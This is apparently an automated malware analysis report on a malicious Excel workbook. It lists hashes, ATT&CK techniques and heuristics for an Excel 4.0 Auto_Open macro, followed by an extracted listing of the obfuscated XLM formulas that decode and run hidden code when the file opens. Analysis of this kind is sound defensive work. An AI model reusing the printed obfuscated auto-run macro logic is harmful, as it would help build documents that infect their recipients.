Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 adb9ba27ef2d3392…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:26 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 672d6e97bfb84a7e63fcc1283e4b505f SHA-1: 08238eb48884b146af90b8afe8f6f871f927cb16 SHA-256: adb9ba27ef2d3392323890dc4d09d5ff510d9b5dc2c0220c0bfafb464a709392
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open entry, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands, likely to download and run a second-stage payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6642 bytes
SHA-256: 6bf1658381b00dc27038e53c52512de89b60e3948fceffe123f98edf176f74b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fOKPQLyDUh
' 0018     26 LABEL : Cell Value, String Constant - AFngCQjRrSz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I177 
' 0018     24 LABEL : Cell Value, String Constant - BLefnbSTK len=0 
' 0018     20 LABEL : Cell Value, String Constant - eKfhI len=0 
' 0018     25 LABEL : Cell Value, String Constant - IaTMTHvJzY len=0 
' 0018     20 LABEL : Cell Value, String Constant - IODGg len=0 
' 0018     26 LABEL : Cell Value, String Constant - jaWTzzwgIaR len=0 
' 0018     23 LABEL : Cell Value, String Constant - JewnsdoU len=0 
' 0018     25 LABEL : Cell Value, String Constant - jrWbZJhAcz len=0 
' 0018     24 LABEL : Cell Value, String Constant - kovhWXxnt len=0 
' 0018     27 LABEL : Cell Value, String Constant - kRumrJVAMkAb len=0 
' 0018     24 LABEL : Cell Value, String Constant - lnTWYTLpl len=0 
' 0018     25 LABEL : Cell Value, String Constant - meDkLBWKmr len=0 
' 0018     22 LABEL : Cell Value, String Constant - MPgSnJl len=0 
' 0018     24 LABEL : Cell Value, String Constant - NwwRYJctT len=0 
' 0018     22 LABEL : Cell Value, String Constant - pLVcwEt len=0 
' 0018     24 LABEL : Cell Value, String Constant - qALaYldZR len=0 
' 0018     27 LABEL : Cell Value, String Constant - QkdWayZJfMLv len=0 
' 0018     21 LABEL : Cell Value, String Constant - qRQYUJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - TkrMwqpySyx len=0 
' 0018     27 LABEL : Cell Value, String Constant - YISZEoizcbcV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fOKPQLyDUh,I83,"SET.NAME("MPgSnJl",VALUE("0"))",""
'  fOKPQLyDUh,I87,"SET.NAME("jrWbZJhAcz",MPgSnJl)",""
'  fOKPQLyDUh,I90,"SET.NAME("IaTMTHvJzY",MPgSnJl)",""
'  fOKPQLyDUh,I95,"SET.NAME("IODGg",COUNTA(eKfhI))",""
'  fOKPQLyDUh,I97,"SET.NAME("kRumrJVAMkAb",COUNTA(meDkLBWKmr))",""
'  fOKPQLyDUh,I102,[],""
'  fOKPQLyDUh,I107,"SET.NAME("NwwRYJctT","")",""
'  fOKPQLyDUh,I109,"jrWbZJhAcz",""
'  fOKPQLyDUh,I114,"SET.NAME("QkdWayZJfMLv",HLOOKUP("*",eKfhI,jrWbZJhAcz,FALSE))",""
'  fOKPQLyDUh,I118,"JewnsdoU",""
'  fOKPQLyDUh,I122,"SET.NAME("AFngCQjRrSz",MPgSnJl)",""
'  fOKPQLyDUh,I125,[],""
'  fOKPQLyDUh,I127,"AFngCQjRrSz",""
'  fOKPQLyDUh,I132,"YISZEoizcbcV",""
'  fOKPQLyDUh,I134,"pLVcwEt",""
'  fOKPQLyDUh,I138,"BLefnbSTK",""
'  fOKPQLyDUh,I142,"SET.NAME("TkrMwqpySyx",VALUE(HLOOKUP("*",meDkLBWKmr,BLefnbSTK,FALSE)))",""
'  fOKPQLyDUh,I146,"qRQYUJ",""
'  fOKPQLyDUh,I148,"NwwRYJctT",""
'  fOKPQLyDUh,I150,"IaTMTHvJzY",""
'  fOKPQLyDUh,I153,NEXT(),""
'  fOKPQLyDUh,I158,"kovhWXxnt",""
'  fOKPQLyDUh,I162,"SET.NAME("f",INT(T(FORMULA(T(NwwRYJctT)&"",""&T(kovhWXxnt)))))",""
'  fOKPQLyDUh,I166,"qALaYldZR",""
'  fOKPQLyDUh,I170,NEXT(),""
'  fOKPQLyDUh,I174,RETURN(),""
'  fOKPQLyDUh,I203,"SET.NAME("jaWTzzwgIaR",I83)",""
'  fOKPQLyDUh,I207,"eKfhI",""
'  fOKPQLyDUh,I212,"SET.NAME("meDkLBWKmr",R52C11)",""
'  fOKPQLyDUh,I216,"SET.NAME("qALaYldZR",224)",""
'  fOKPQLyDUh,I221,"SET.NAME("lnTWYTLpl",9)",""
'  fOKPQLyDUh,I223,jaWTzzwgIaR(),""
'  fOKPQLyDUh,I224,HALT(),""